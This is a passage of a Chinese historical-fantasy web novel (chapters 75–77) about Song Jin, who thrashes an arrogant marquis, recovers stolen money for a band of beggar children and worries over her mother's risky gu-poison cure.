他微微弯腰,平视着她,那双眸子黑漆漆的,里面写满了认真 “现在扯平了” 说着,他收起断剑,朝着一旁因惊失仪的晋王走去。 刚比完武,他身上带着几分杀气,配着凛冽的断剑,冷肃的脸…… 晋王其实不怎么需要他的关心 而宋锦站在原地,有些茫然地看着他的背影,揪了揪头发,没什么感觉,再试试劲 她嘶了一声 这人是不是有毛病啊 宋锦看着怀里那把完好的长剑,努力压着不自觉上扬的嘴角 算了,她勉勉强强原谅他吧 第75章 不就是一个孩子 “阿娘阿娘,你好点了没?” “等你好点了再弄呗,大不了我们就不去,也没什么意思” …… 宋锦一身臭汗跑回院子,像是苍蝇一般嘀嘀咕、嗡嗡嗡 牛铁兰坐在藤椅上研制胭脂香薰,本就烦躁,再看着她那双狭长的凤眸,就更烦了 大的小的都不是什么省油的灯 她放下手中的东西,瞥着宋锦满头的大汗,把一旁的手绢扔了过去,嫌弃:“快擦擦吧,脏死了” 宋锦拿起个小墩子蹲坐在一旁,笑得嘻嘻哈哈,骄傲:“哪有啊,这是胜利者的荣耀” 牛铁兰嗤笑:“当你娘我傻啊,不去就问不到怎么回事了?纯比剑,你那三脚猫的功夫” 宋锦不乐意了:“娘你怎么说你闺女呢?” 牛铁兰再次嗤笑,懒得看她,继续研磨材料准备制香 她没事干的时候就喜欢捣鼓胭脂香料,弄的也不是外面的大众货,材料都很珍贵,她一般都是留着自家用 这次弄,一是为了之后的迎秋宴,她也就这一个手艺,算凑凑数了 反正捐款嘛,谁比这些东西好坏嘛,还不是看谁含喊价高? 牛铁兰就打算准备这个,至于宋锦,她轻轻瞥了瞥人,把手头的木臼递过去 “你来弄” 杨彦珺也说了,只意思意思动动手也行 宋锦哦了一声,接过东西帮着干活,她这些年没少帮忙,做起来熟门熟路的,就是姿态算不得好看 不像牛铁兰,她脊背挺直,纤脖微弯,玉骨冰肌,动作轻巧而流顺,挑拣、研磨、晾晒、上模…… 无一不美得如同画卷 宋锦一边看着她,一边舂着手中的的香料,舂着舂着,就有些心不在焉了起来 她今天和齐铮的比武,牛铁兰没去 说是没精神头,但是她一没发热,二无咳嗽,三脸色红润,哪有半点不精神的样子? 宋锦想着就蔫了下来,半天都没说话 牛铁兰弄完手里的活,瞥她:“怎么,这么输不起?打不过就练,在这里吊头吊脑的干什么?” 宋锦有气无力:“都说了我赢了” 就算是被让的赢那也是赢 牛铁兰纳闷:“赢了怎么还这幅模样?” 宋锦蔫头蔫脑:“你没去看” 牛铁兰嘴角一抽:“……在乡下你偷偷出去打架那么多次,也没见你叫过我” 现在少看一次就做出这个鬼样子,她才不吃这套 装可怜的宋锦鼓鼓嘴:“这不一样” 牛铁兰:“哪儿不一样了?” 宋锦瘪着嘴,伸手指着她脖子下锁骨一截:“你以前是不想去,现在是因为别人不想去” 牛铁兰低头一看,白皙的锁骨处一小块红痕格外明显,她瞬间红了脸颊,一把收紧的衣服,没好气道 “乱想什么,蚊子咬的” 宋锦哦了一声,有一下没一下舂着香料:“你说是就是吧” 牛铁兰恼:“真的是蚊子叮的” 马场上人来人往,草棚又乱七八糟,哪儿能,哪儿能…… 想着,牛铁兰又收紧了衣襟,拿起一旁的干花砸了过去,恼羞成怒:“一边玩去,别在这儿烦我,小姑娘家家的,再胡说八道就给我抄书去” 抄书还是很有威吓力的,宋锦收起神情,撇着嘴嘀咕:“恼羞成怒,不过我们可说好了,我才不要弟弟妹妹” 牛铁兰怒吼:“宋、金、金” 见势不妙,宋锦一下子蹿到了几米外,还不忘顺手拿起桌子上的苹果,一路烟地又跑了 …… 她打算去看看自家定下来的店 这些可都是她们娘俩这些年的心血啊,不能随意被糟蹋来 最开始来都城的时候,她们其实并没有买房定下来的准备,毕竟她们在林溪镇有房有地,也熟悉了那边的山山水水,好人坏人 但这段时间待下来,都城确实很不错 热闹繁华,周围也有山林,很适合宋锦这一会儿一个心情的人 而牛铁兰,一个小院就够她待了,在哪里都无所谓 更重要的是牛铁兰那乱七八糟的练蛊,后果不可估量,需要虫老这个老虫子看着,离开不得 当然,宋家人勉勉强强也不错 思前想后,留在都城是她们最好的选择,那赚钱就很有必要了 都城 附近山不少,但是和盘龙山那种大林子比差多了,小野兽草药不少,值钱的大东西不好找 宋家的钱,到底不是自己的,生活费哪天说断就断 因此,她们的店铺很重要 店铺这两日已经过好契,现在就是是装修整理,也跟着招人 她们母女俩不可能自己开店入商籍,就只能租房子招店长,到时候把事情交给他,他们分账 这在大衍朝是允许的,也是禁止不了的 有钱的人想要权,有权的人也想要权,中间总少不了模糊的路子 宋锦先来的是之前的酒铺子十里香,这弄起来最简单的,就是以前的原班人马,只需要换个装修 装修要再豪华一点,牌子亮一点,酒罐也要全部重新定制,价格,也得涨一涨 卖东西最忌讳的就是不上不下 宋锦不懂这些,但是牛铁兰很擅长 她以前在女园的时候负责管账,里面上百的人,各种花样繁多,乱七八糟的,对比起来这小酒铺就跟玩似的 牛铁兰还专门给宋锦写了小册子,让她就只管跟着做 打开册子第一条:绝对不能动手、辱骂客人 宋锦翻了个大大的白眼,直接看下一条 不许恐吓店长、小二、会计等员工 她是什么恐怖分子吗? 宋锦嘴角一抽,把册子合上,还是选择凭着感情来 十里香第一个改的就是名字,现在叫醉归阁,他们家酒是掺了药材的的酒,酒烈,好喝,还养身体,价格自然也不低 二十文一提,是其他酒的两倍 没钱的人喝不起,有钱的人又看不上,来来往往,也就那些个忠实的老顾客来,不能说亏,但是绝对不赚钱 老板是个念旧的中年人,卖铺子也要求留个小位置继续卖酒,本来以为不好卖的,没想到出乎意料的顺利 新老板不仅继续让他卖酒,又从他这里进酒,还让他当店长分成,相当于白捡钱 曹老板喜笑颜开,对装修的事很是上心,对母女俩也很热情,见到宋锦过来就立马迎了上去 “小老板来了?你看看这装得如何?” 宋锦严肃着脸,上上下下打量着重新装了一番的铺子,怎么说呢,嗯亮亮一点,看起来宽了一点 多余的她看不出来 不过自家老娘亲自操手,看不懂也是好的 宋锦装模作样:“不错不错,都按着我娘说的来了?” 曹老板喜笑颜开:“必须的,哎呀,说起来也是汗颜,枉我一把年纪,开店比起夫人真是差了远了,夫人这么一弄,这店气也顺了,楼也宽敞了……” 宋锦赞赏地看着他 这老头眼光还是不错的,她老娘就是这般优秀 她看人顺眼,也就没立马走人,坐在一边,给自己打了壶小酒,浅浅酌着 她问:“曹老板是附近哪儿的人?” 曹老板笑呵呵:“有点远,地方也小,不知道小老板听过没,叫上杨村,村子里人都很喜欢我的酒,就资助我过来开店,没想到这个样子,唉,真是辜负了大家的心意” 宋锦意外:“上杨村?杨有羊那个黑商人的村子?” 曹老板也有些意外她知道,不过还是辩解一番:“明码标价,可不能是黑店咧” 宋锦撇嘴,上下打量着杨老板,若有所思:“你们是亲戚?” 看起来还是有几分相似的 曹老板乐呵呵;“村子里都是沾亲带故的,杨哥是我亲表弟,我是下杨村,他们是上杨村” 宋锦也没想到能这么巧,这两个羊村发展还挺不错嘛 她问:“你们村在都城,除了你还有别人?” 曹老板骄傲:“那可多了去了,村子虽然不错,但是人往高处走,大家日子过好了就过来这边。不是我吹,小老板,我们村子真是各个都是能干人,我看看,粮食铺子、药铺、当铺……” 宋锦总觉得哪里怪怪的,思索了一番,问:“你们村的孤儿呢?也有过来的?” 曹老板有问必答:“必须的,小老板你后面的小账房就是育婴堂出来的。小吉他算盘可快了,本来都想着我这边倒了让他去其他地的” 小吉腼腆一笑:“还得多谢夫人和小老板” 宋锦咋咋嘴,一杯酒下肚,突然想起了什么,问道 “之前那群小崽子进山,那个最小的叫小花吧?多少岁来着?” 小吉恍然,激动:“小老板就是上次带小花他们回来的大人?太感谢您了,还不是您,几个孩子还不知道会出什么意外呢” 宋锦:“他们胆子是大,那小花几岁来着?” 小吉继续激动:‘可不是嘛,被堂长收拾几顿,现在老实一些了’ 宋锦:“该被收拾,几岁来着?” 小吉:“就是就是,狗胆包天的,小老板你可真是好人,你放心,以后这账啊,我一文钱都不会少” 说了半天,宋锦一巴掌拍柜台上,没好气道:“我问你,那小花几岁” 小吉呃了一下:“也就,就四岁吧?她到育婴堂的时候就两个来月,身上料子还挺好的,现在三年半,就四岁左右,怎么,您想收留她?” 宋锦无语:“我还是个孩子呢,我收养什么?” 小吉遗憾:“这样啊” 虽然育婴堂对他们不错,但是到底贫苦。宋锦一看就又富又贵,若是收养人,那孩子以后可不一样了 宋锦对此没有兴趣,她又不喜欢孩子,她就是纯想生两个孩子给她娘玩 至于外面的孩子,或者她娘生的野崽子 那不行 她失了兴趣,站起来,抓了把旁边的酒花生,往外走去 “你们继续弄,我先去看看其他的店,过两天再过来” 曹老板喊:“小老板忙得过来吗?要不要小吉帮忙?” 宋锦摆手:“我逛着玩呢” 她这点自知之明还是有的,她看店,唯一的作用就是防止一些不怀好意的人凑上来,也让店员认个人 她看店也很随意,大部分时间都和店员聊天去了 这会儿能当小二的人都很有眼色,一个个都很会说话,宋锦每监督一家店都要留下点糖水钱 她绕了一圈,来到武官对面的胭脂铺,现在已经改作武器铺了 这玩意儿需要资制,一般人不好弄,不过对她们来说简单 武器铺子这边还分了一小隔间卖烧饼汗布这些 这边多武生,一个个胃口都大,有钱没钱,烧饼都很受欢迎 宋锦过来的时 候,武器铺还在折腾,隔出来的烧饼摊倒是排起了长队 她有些纳闷,走近一看 “怎么是你啊” 竟然是杨彦珺 她一个前侯府夫人、尚书府小姐,在这里卖什么烧饼? 宋锦忍不住阴谋论了起来,这该不会是故意针对她吧? 杨彦珺今日穿得素净,衣服料子依旧贵重,但是款式简洁,头上也只插着个银簪,虽然美丽,但看起来就是个普通人家小姐 旁边排成长队的一堆大男人,很明显醉翁之意不在饼 杨彦珺看到宋锦也有些意外,上利落地给前方的武子包了烧饼,停了动作擦汗 “金金也来这边玩?这边很热闹,我婚前经常拉着一一过来玩,婚后多年没来了” 听到这话,宋锦还没做出反应,烧饼摊子前面的男人们已经变了脸,一个个耷起眉眼 杨彦珺抿嘴笑笑继续:“现在和离了,又可以经常过来玩了” 而且因为和离了,她比起小姑娘时候还更自由了,行为便是放肆也无人能置喙 宋锦看着那些个越发热情的男人们,嘴角一抽,掰了个肉饼子过来一口 “你在我家摊子前面干什么?” 杨彦珺眨眼:“你家的啊?我听说这边有个俊道长,过来就看到这边铺着摊子,没事干就租了卖着玩” 宋锦嘴角一抽,怀疑这人是故意和她娘杠上了,又是俊俏画师,又是俊道长,真就搁着一块墙角撬啊 但是,下一瞬杨彦珺冲她拧了拧眼睛 宋锦顺着看过去,目光落在自家铁匠铺里面沉默帮忙的大块头上,看着他赤裸遒劲的上半身,她嘴角一抽,从怀里掏出五文钱扔过去 “烧饼钱” “讲这些,金金你等我一下,我马上就好了”杨彦珺没有半分大家小姐的姿态,沾着油的手往嘴边一拢,冲着外面大喊 “今天的烧饼没了,大家别排了明天再来” 然后不顾其他人失落的目光,她把桌面上剩下的烧饼往前面的客人手上一放,钱不收了,摊子也不管了,去拉着宋锦就走 两个人正当年华,又容貌出众,周身散发着明媚的鲜活,在街道上奔着,很是惹眼,走过路过的人都不由停下步子多看两眼 欣赏、羡慕、觊觎、暴怒 “刚才那” 酒楼靠窗处,几个衣着华贵的男子看着楼下的身影,都疑自己看错了眼 面面相觑后,他们看向了最后面脸色难看的宣平侯 “不会是……” 杨彦珺吧? 虽然看着确实挺像的,但是杨彦珺不说作为侯夫人,便是以前小姑娘时候,虽然脾气大了一些,但是礼节方面没得挑,是都城出了名的好女 现在在这嘈杂街道出现不说,还这般跑跳…… 宣平侯沉着脸,放下手中酒碗,大步朝外走去 “不会真的和离了吧?” “那女人上次晚宴发疯丢人眼线,愚蠢恶毒善妒,离了也好” “虽然但是,陛下那边” 几个人小声议论着,突然有人又迟疑道:“她旁边那个,不会是,明光郡主吧?” 这下,他们又不由看向另一边,正是当初被倒挂枝头的英国公世子鲁经义,他应该对人熟悉 便是他认不出,他旁边才被人用断剑吓得失仪的晋王应该也能认出 就这样,不过几瞬,刚才还热闹的酒桌上就剩下了寥寥几人 宋锦被拉着跑过了街道,她看着旁边停下来气喘吁吁擦着大汗的人,抱起了手,睥睨:“你跑什么?” 杨彦珺大口喘气:“就是感觉应该跑,你一点不累?” 宋锦啧:“就这点路我要是都累,出门可得一天挨五顿揍” 杨彦珺哈哈大笑:“那也是,但是我已经好久没这么痛快地跑了” 宋锦耸肩:“那你以前的日子可真无聊” 杨彦珺拿手绢擦着汗:“确实很无聊,不过以后就不无聊了,你看到刚才那些男人了吗?好几个都长得还不错,不过最好看的还属铁铺打铁人,那身材,肯定很有力” 宋锦白眼:“别和我个小姑娘说这些虎狼之词” 杨彦珺继续哈哈大笑,眨着眼睛,意味深长:“也不小了,到成亲的年纪了,我和你说,找男人就得找那种有力的,别找那种表面光的” 宋锦挑眉:“怎么,宣平侯表面光,实际,不行?” 杨彦珺无辜:“这话可不是我说的” “杨彦珺,你是不是疯了” 跟过来的宣平侯一来就听到这话,脸黑得跟炭似的,整个人都要爆了 “这么多年,我没嫌弃没留下一儿男女,不计较你善妒恶毒,你倒是在外面胡说八道” 事关男人的尊严,他不得不维护,他上前两步就想抓杨彦珺胳膊把人带走 杨彦珺怒:“放手,混蛋,我们都和离了” 宣平侯:“你别无理取闹,不就是一个孩子吗?你候夫人的名头无人能威胁,你别不知足” 杨彦珺:“不就是一个孩子?不就是一个孩子你为什么偷偷摸摸,不就是一个孩子你为什么非要带回来……” 宋锦站在一边,靠在墙上,挡住了路边的坏马车架子,津津有味地看着两人吵架,旁边悄悄伸出一只小手 她微微抬脚遮挡,接过手上的瓜子,简单磕着,眼看着两人闹个不停,杨彦珺就要被拖着走了 她一脚踹在宣平侯腰上,挑着眉:“怎么?我不是人?看不到我?” 宣平侯一个踉跄稳住,他怒火上头,恼道:“管你什么事?别以为有个郡主名头就了不起了,乡下来的野丫头,滚一边去” 若不是宋家人多事,他的事如何会到今日的地步? 自从上次的英国公事件后,宋锦已经很少碰到这种嚣张的人了 怎么了,以为她当上郡主就修身养性了? 宋锦一拳过去,再接上两脚,咧着牙:“野丫头是吧?没办法,野丫头就是这样的,够不够野……” 鲁经义等人找过来,就看到宣平侯被按在地上揍的画面 虽然一言难尽,但其实并不怎么意外啊 有之前的教训在,鲁经义不敢轻易行动,他看向晋王,小心询问:“姐夫?” 晋王也恼怒,他之前因为宋锦比试丢了脸,想着过来放松一下 这边虽然不比西区繁华,但是其中妙处更是那边不可言的 谁能想到,他还没放松,就又碰上这疯丫头 晋王咬牙:“看我干什么?还不让人去把宣平侯带回来,挨打很光荣是吧?” 鲁经义不甘心:“就这么算了?” 晋王冷笑:“不这么算了你上吗?” 他父皇都说得那么明白了,他是生怕自己谋取太子事情太轻松了,非要和她一个野丫头对着干吧? 他烦躁地挥挥手袖,转身:“把人带回来,别在那丢人现眼” 他娘的,宋家人真是各个克他,早知道,早知道还不如留宋商了 起码只是丢里子,还有个面子在 …… 很快,侍卫们匆匆过去 宋锦倒也没有为难他们,果断挪开脚,让他们扶起人 宣平侯这辈子没吃过这么大亏,便是上次宫宴丢人,也不及此次,他阴狠地看着宋锦:“你给我等着” 宋锦挑眉,揉揉拳头,扭扭脖子 侍卫们脸色一变,赶紧拖着人跑开,一会儿就没了影 宋锦切了一声,再看向旁边,杨彦珺一脸悲痛,完全没了之前的快乐模样 宋锦不会安慰人,她想了想,又走回一边的废弃车架后,蹲下身往里伸手 一会儿功夫,一个灰扑扑脸的小崽子就被她拖了出来 正是那日中秋灯会上碰上的小乞儿宁宁 几个人应该是在玩躲迷藏,后面见到他们争执更是不敢冒头,生怕被拿着出气 宋锦把人拎着过去,往杨彦珺怀里一塞:“喏,送你玩” 沉浸在忧痛中的杨彦珺:…… 一旁的宁宁‘家长’们…… 第76章 找回场子 “哎,小心点,你们慢着吃,东西多着呢,别噎着了” 人来人往的小饭馆里,两个一起衣着华贵的年轻女子坐在桌前,点了满满一桌的饭菜,小心地照顾有些灰头土脸,甚至可以说脏兮兮兮的小乞丐 当然,这句话里面衣着华贵指的是一个人,照顾又是另一个人 宋锦把手抱在胸前,她本来是想撑在桌子上的,但是一桌子的饭菜根本没地撑 她挑着眉头看着这一桌子的小熟人,再看着他们称得上是狼吞虎咽的吃法,对着旁边的小二招手 “烤鸡和这些汤菜留下,这几道重油的都撤了,你们自己留着吃,这边够了” 小二:“好了,这就来” 小二动作很快,没一 会儿满满的一桌子大鱼大肉就剩下了一半,虽然便是这一半,仅凭他们几个小崽子也吃不完,但是那可是肉啊,是他们一年只能吃一两次的肉 现在没了,一个个小崽子耷着脑袋,跟路边流浪的小狗崽似的 杨彦珺坐在宋锦的对面,旁边是小脸灰扑扑的宁宁 小家伙瘦瘦小小,手上抱着个大鸡腿努力地啃着,水灵灵大眼睛死死盯着被端走的菜 杨彦珺看着有些可怜:“你就让他们吃呗,也不值什么钱” “一群平时喝白粥的人,让他们一下子吃这么油腻,你是真怕他们拉不死啊?”宋锦一个白眼过去,再看着抓紧时间吃的小崽子们,凉凉开口 “对对对,多多吃,吃了明个一起去医馆门口碰瓷” 几个这辈子就没吃过这种满桌肉大餐的小崽子们纷纷僵住,看着手上的肉,心一狠,还是大口下去 不管了,吃了再说,大不了睡茅坑了 那模样,看样子这段时间没少挨饿 宋锦纳闷:“怎么的?这几天没吃东西,你们不是摆摊子吗?上次的钱就用完了?” 宁宁啃着鸡腿:“被抢啦,饿肚肚” 宋锦挑起眉头,看向一旁带头的老大福哥:“怎么回事?” 福哥有些尴尬,他是几个孩子里年纪最大的,也是最沉稳的,吃相也过得去,不抢不夺,有模有样的 “也没什么,就是没注意别人看到钱,就被偷了,只有一点点钱,我们还要买木料这些重新做,就省了点,已经习惯了。” 宁宁:“地盘也被抢啦” 福哥:“……这不算,人家也没赶我们走,都是在一块卖” 宁宁奶声奶气:“我们卖不出去啦” 福哥耐心解释:“那是我们手艺不如人,要慢慢练” 宁宁萌萌哒:“饿肚肚啦” 福哥忧愁了起来,就连其他几个孩子狼吞虎咽的动作也慢了下来,一个个愁眉苦脸 宋锦挑眉:“这么难吗?我记得你们弄得挺好的啊” 福哥苦涩:“但是他们更好,花样多,价格便宜,还会说话,一个个干干净净……” 对比起来,他们的竞争力就小了许多 虽然也不是都卖不出去了,但比起之前差距还是挺大的 宋锦恍然,若是这样的话就不奇怪了他们为什么这副惨兮兮的样子了 多年老底被抢,事业也碰上强劲的竞争对手,她摇了摇头正要说话 杨彦珺皱着眉头:“被抢了?为何不报官?” 福哥几个面面相觑 宋锦也一言难尽地看向她:“不说他们能有多少钱,你让他们几个小乞丐去报官,把人抓进去,以后日子还混不混了?” 底层最忌讳的就是报官了 再说了,他们这些小乞丐本就是街头出身,还能有手艺,真的就那么经得住查吗? 听到宋锦的话,福哥等人大大松了口气,他们最怕的就是官吏,万一被抓进去 宋锦看着他们几个眉眼交流,眼看着一副想跑的样子,敲敲桌子,嘴唇勾起 “要不要帮你们抢回来?” 福哥一愣:“抢,抢回来?” 福哥随即就想到了那日中秋宴会上宋锦轻松的拿下几人的画面,他心中一喜,但很快又低落了起来 “抢不回来了,他们肯定都花完了” 宋锦捏捏拳头,自信张扬:“不怕,没钱还有人,让他肉偿” 福哥还是有些犹豫 啃着鸡腿的宁宁突然捏拳,奶声奶气,气势汹汹:“血债血偿” 宋锦噗一下笑了出声,弯下身子,过去弹了弹她的脑门:“哟,小小年纪,口气还不小啊,不是说日子不好过吗?怎么感觉比上次还胖了点?” 宁宁咧嘴:“偷贡品呲哇” 宋锦哧哧笑了两声,从兜里掏出几枚钱币递过去放她脖子上挂着的布兜子里 “刚才买瓜子的钱” 宁宁歪头 她记得这个姐姐上次给了她很多钱,还买了他们很多东西,带他们放漂亮花灯 她拍拍胸口,又从布兜子里面掏钱,奶声奶气:“不卖,朋,朋友,送你啦” 宋锦挑眉:“这么大方?不过我们才不是朋友,你送不了,只能卖” 宁宁懵:“这,这样吗?” 说着,她脑袋蔫了下去,看着钱袋子里的钱还有手头的鸡腿都不香了,整个人灰扑扑下去 杨彦珺看不过去了,她瞪了瞪宋锦,伸手拍着宁宁后背,小声哄她:“不难过不难过,姐姐坏,姨姨好,姨姨和你做朋友好不好?” 宁宁耷着脑袋:“不要,福哥说了,外面坏人多,会把我抓过去当小丫鬟” 杨彦珺不服:“……我看着也像坏人吗?我还请你们吃东西呢” 宁宁埋着脑袋不说话 宋锦哈哈大笑了起来:“就是就是,外面坏人太多了,你可要多加注意啊” 宁宁点着脑袋奶声奶气:“宁宁知道” 宋锦笑得更是开心了,大手一挥:“小二,过来结账,这顿饭我请了” 杨彦珺幽怨:“明明你更像坏人” 宋锦得意:“小孩子的眼睛才是最尖的,透过表面看到深处,行了,都快吃,吃了我去给你们找场子” 福哥几个赶紧点头,紧张中也多了一些兴奋,他们加快了吃饭速度。几个人他们正是长身体的时候,一大桌子的东西最后都吃得干干净净 好在最油的几样已经撤下,应该没什么大碍 吃完,宋锦伸了个大大的懒腰:“走吧,带你们去找回场子,至于你” 她看向旁边的杨彦珺 作为没什么武力值的大小姐,杨彦珺自然不会一个人出来的,丫鬟护卫都在不远处跟着,以防出什么意外 杨彦珺这段时间虽然放纵了些,但心里还是很有数的,现在已经黄昏时候,她再出去一趟,回去天都黑了 她微微咬唇,犹豫之下看向宋锦,一脸希冀:“你会送我回家的吧?” 她这次出门带的人不多,大晚上回去还真有些担心,但如果有宋锦的话,安全感瞬间就来了 宋锦嘴角一抽:“我欠你的啊” 杨彦珺诚恳:“我欠你的,求你了,你看我一个刚和离的人,没有丈夫没有孩子,还没有娘” 宋锦别的不吃,但是这一套,她不耐地摆手:“停停停,去就去,反正回去也顺路,不过我过去,你那群护卫丫鬟可不能去,麻里麻烦” 杨彦珺瞬间扬起笑了起来:“你们等等我啊,我去和他们说一声” 说着,她轻拎裙摆,欢快地朝着外面跑去 宋锦撇了撇嘴,再看向啃得一嘴油的宁宁,忽略她脏兮兮的脸:“你跟她还有点像啊,不过比她可爱多了” 宁宁开心:“宁宁可爱” 宋锦笑了笑,拿起手绢递给她,那手绢上面绣着精致的花纹,料子也是上好的,宁宁接过手绢,果断用袖子擦脸 宋锦哭笑不得,不过也没管她,带着他们站了起来,看着宁宁哒哒哒的模样,脑中又想起另一个人,她伸手比比宁宁的身高 “她多少岁了?” 福哥迟疑了一下,道:“四岁吧?我捡她那会儿两三个月大” 宋锦挑眉:“你那会儿也不大吧?胆子这么大?” 福哥挠头:“不管她她就活不了” 宋锦:“有人追杀她?” 福哥:“你怎么知道?” 宋锦:“……随口一问” 说到活不了,她第一个反应就是追杀了,想到这么准啊 不过这都城水可真深,哪哪都是事 宋锦啧啧两下,也不打算管这件事,便是要管,也等她娘那边的事落了定再说。 她摇了摇头,岔开这件事:“你小子倒是胆子大,她命也大,走了,带你们找钱去” 见她没有多问的意思,福哥松了口气的同时,也有些失落,有些勉强地嗯了一声 至于宁宁,手上还拿着个甜果子,开开心心地在一边啃着,也看得出来被几个小家长照顾得很好 …… 杨彦珺那边很是顺利,毕竟她也不是什么需要大人管着的小姑娘,下人们便是不放心,却也管不了她 她兴奋激动地跟上宋锦他们的队伍,从这边街道一路环绕,越走越偏,越走越偏僻,她说话声音都小了不少 “你一个人行不行?要不还是带点人?” 宋锦嫌弃:“你不是人?” 杨彦珺小声:“这种时候我可以不是” 她还真是能屈能伸啊 宋锦白眼,继续大摇大摆地走在路上 街道越发狭小,周边生活气也越发稀少,都是些破败的小房子,走街串巷的乞丐多了起来,那种乱七八糟的小屋子也多了不少 杨彦珺还是第一次接触这种乱七八糟的地方,再看几个半大不小的小子,也多了些怀疑,她压着声音,小声 “你说,他们不会是故意的,想把我们卖了吧?” 宋锦嘴角一抽:“……你不如担心 一下我卖你” 杨彦珺闭上嘴 不过这边虽然看着乱,其实,人都还是很有眼色的 她们俩一看非富即贵,周边这么多人看着,没谁会愿意给自己找麻烦,不过低声私语总是少不了的 杨彦珺越发不自在起来,也开始觉得自己跟过来有些冲动了,只能紧紧拉着宋锦的衣服 宋锦没甩开人,不过相比起担忧的杨彦珺,她格外兴奋。 越乱七八糟的地方烂人越多,找事的人也越多,好打的架也多 她最喜欢打架了,以前在泗安县的时候,隔一段时间就会进城挑几个架打,一开始还挺顺利的,等到后面有经验了,那些人一见她就跑,绝对不给她任何挑事的借口 啧 怂鬼 这边的人也是,他们几个弱女子小崽子,都没人敢过来挑个事 宋锦遗憾摇头,低头看着停下来的福哥:“找到了?” 福哥点了点头,给她指了指对面十六七岁的小少年,比起福哥几个灰头土脸的小孩,他们一看日子就要好一些,那身上穿的还是锻料呢 宋锦:“他们抢了你们多少钱?” 福哥紧紧绷着嘴:“三两七钱三十五文,我们本来打算攒到五两,租个小房间的” 他们现在就是到处乱睡,运气好的时候能待半个月,运气不好上午进去下午就被赶起走了,这也让他们干活赚钱效率极速变慢 宋锦点点头:“等着,我去给你要钱” 说着她大步过去 她一走开,杨彦珺那点安全感瞬间退散,她下意识拉住宁宁,摸着着她那小小的肩膀,倒是松了些气 宁宁抬起脑袋,她脸蛋小小眼睛大大,笑起来嘴巴有个小梨涡,就算脸蛋脏兮兮的,也依旧看得出是个美人胚子 杨彦珺忍不住拿出手绢给她擦脸,但是没湿水的手绢效果不大,只擦去了浮油 她摇摇头,直接扔了手绢,伸手戳着宁宁的酒窝,声音轻柔了许多:“我娘也有酒窝” 宁宁瞪大眼睛,奶声奶气:“我可不是你娘” 杨彦珺哭笑不得:“你肯定不是啊,我女儿,我女儿都有你这么大了” 宁宁继续警惕:“我可不是你女儿哦” “你自然不会是她” 即便长得相似,年岁也相似 想到自己小小的女儿,杨彦珺神色也渐渐黯淡了下去,她喟声道:“你自然不会是她,我女儿啊,早就去世了” 她今年二十三,成婚七年,共有三个孩子,其中一个腹死胎中,一个疫病去世,一个落水而逝 想到这些,杨彦珺神色痛苦了起来 就在这时,一双瘦瘦小小的小手抱住她 宁宁抬起小脑袋看着她,有些苦恼头疼,还有些不好意思,奶呼呼:“也,也暂时可以给你当当” 杨彦珺眼睛一涩,她仰起脑袋,压住其的泪意,若是她女儿没染上疫病,那该多好啊 那时候她出生不过月余,都城突然传了疫病,虽然很快就被控制住了,但是染上的人也回不去了 杨彦珺眼睛酸涩:“谢,谢谢” 宁宁不好意思地蒙住脸:“不客气啦” 等到宋锦拎着人回来的时候,两人比起之前亲近了不少 宋锦挑了挑眉,也没多问一把把刚才福哥指的少年扔在地上,手中甩着他的钱袋 “我看看,三两七钱,就四两吧这小混蛋手头钱还不少,这是抢了多少人的?不过管他的你们先把自己的拿着这玩意儿,先到先得” 宋锦碎碎念念着就把钱递给福哥,剩下的钱袋子砸在少年人脸上,一脚踩在他胸口处 “这几个小兔崽子我罩的,懂?” 那人看着宋锦的眼中全是惊恐,听到她的话疯狂点头:“我,我,我知道了,我以后再也不敢了” 宋锦懒得麻烦,又踹了人一脚,松开脚,那人连滚带爬地就跑走了,她回头冲着福哥挑眉 “怎样?” 福哥看着手上的碎银子,眼睛立马就红了起来 他虽然有手艺,但是也就是这两年才勉强能行,以往多是乞讨,又要养活自己和弟弟妹妹,又要攒钱买材料,还要攒钱,日子过得怎么也不说好 而这里面,还大多都是运气好乞来的,想要靠自己攒下来,还不知道得哪年去了 他声音哽咽:“谢谢您” 宋锦看着这几个半大孩子,心到底不是石头做的,做不到完全无动于衷 这一次碰上是陌生人,意思意思就得了,天下苦命人多了去了,谁管得完? 但是两次碰上,也勉强沾了些缘分,还看得顺眼 宋锦烦躁地抓了抓头发,一声叹气,心下有了决定:“走吧” 福哥赶紧:“哦哦走这边,这边回去近些” 宋锦双手环抱,睥睨:“去你们那儿,拿行李,不是说要租房子吗?我那边有空的,便宜租给你们了,三百文一个月,一月一付,就是有点小,租不租?” 一个月三百,一天也就是十文钱,他们五个人,一人两文钱任务量 马上重阳、赛马节 福哥眼睛瞬间亮起:“租租租我们租” 在都城这个价格,很明显宋锦打了大大折扣 看着宋锦那满不在意的样子,福哥也没说多的,他们现在这种情况,说再多都是虚的 他咬了咬牙,在心中了某种决心 第77章 大意了 倒计时第十二天 虫老的小阁楼又重新装了一遍,甚至恢复了以前乱七八糟的样子,只是不再阴暗了 大大小小的木盒布网摆满了整个阁楼,站在屋里,能听到虫子爬动的声音,还有各色的声音 咻咻、吱吱、哇哇、嘚嘚…… 光听声音都能感受到它们的鲜活,一个个放到外面多少得评个虫队长,而这些东西在之前是没有的,用处可想而知 宋锦平日并不怕这些玩意儿,但一想到这些东西要用在她老娘身上,她听着声音便有些头皮发麻 她看着在那边捣鼓的虫老,问:“真的一定要这样吗?我看我娘现在也挺好的,这药也挺管用,不如就吃药?” 虽然治标不治本,但比起治本的练蛊,吃药安全性可高太多了 听到这话,在那边调制药的虫老手上动作一顿,脸一点点变黑,这是他高兴的预兆 他哈哈大笑:“好好好,还得是你,有想法,有主意” 宋锦意外:“可行?” “可行,可行”虫老大笑出声,瞬间变脸,“可行个屁,真能让喝一辈子,我之前为什么说难得?” 这三日一次,坚持一月已是极限,再长一点,是要把人榨干啊? 都说虎毒不食子,反过来,啧,小虎崽子还是六亲不认了 虫老手上加着看似乱七八糟的玩意儿,最后一搅和,一碗比之前还要浓郁的药就出来了 他冷笑:“不说药引难得,就说这才半月,每次所需的药量不断增加,这样下去,一年半载的,每次所需的药你娘撑死都喝不完,老老实实练蛊吧,真要有别的法子,你以为我不知道用?” 宋锦抑郁下来,嘀咕:“不行就不行,凶什么凶” 虫老:…… 他这叫凶,这人之前就是谋杀 他懒得和她个不讲道理的野丫头说,端着药递给牛铁兰:“喝吧,这次喝了还有四次,到时候 好坏都没机会喝了” 宋锦大喊:“没有坏,只有好” 虫老:“这我可没法保证,你们要真抱着万无一失的想法,还是早些回去,过一天日子是一天,也免得吃这个苦,我也不用这么麻烦” 宋锦恼 “金金” 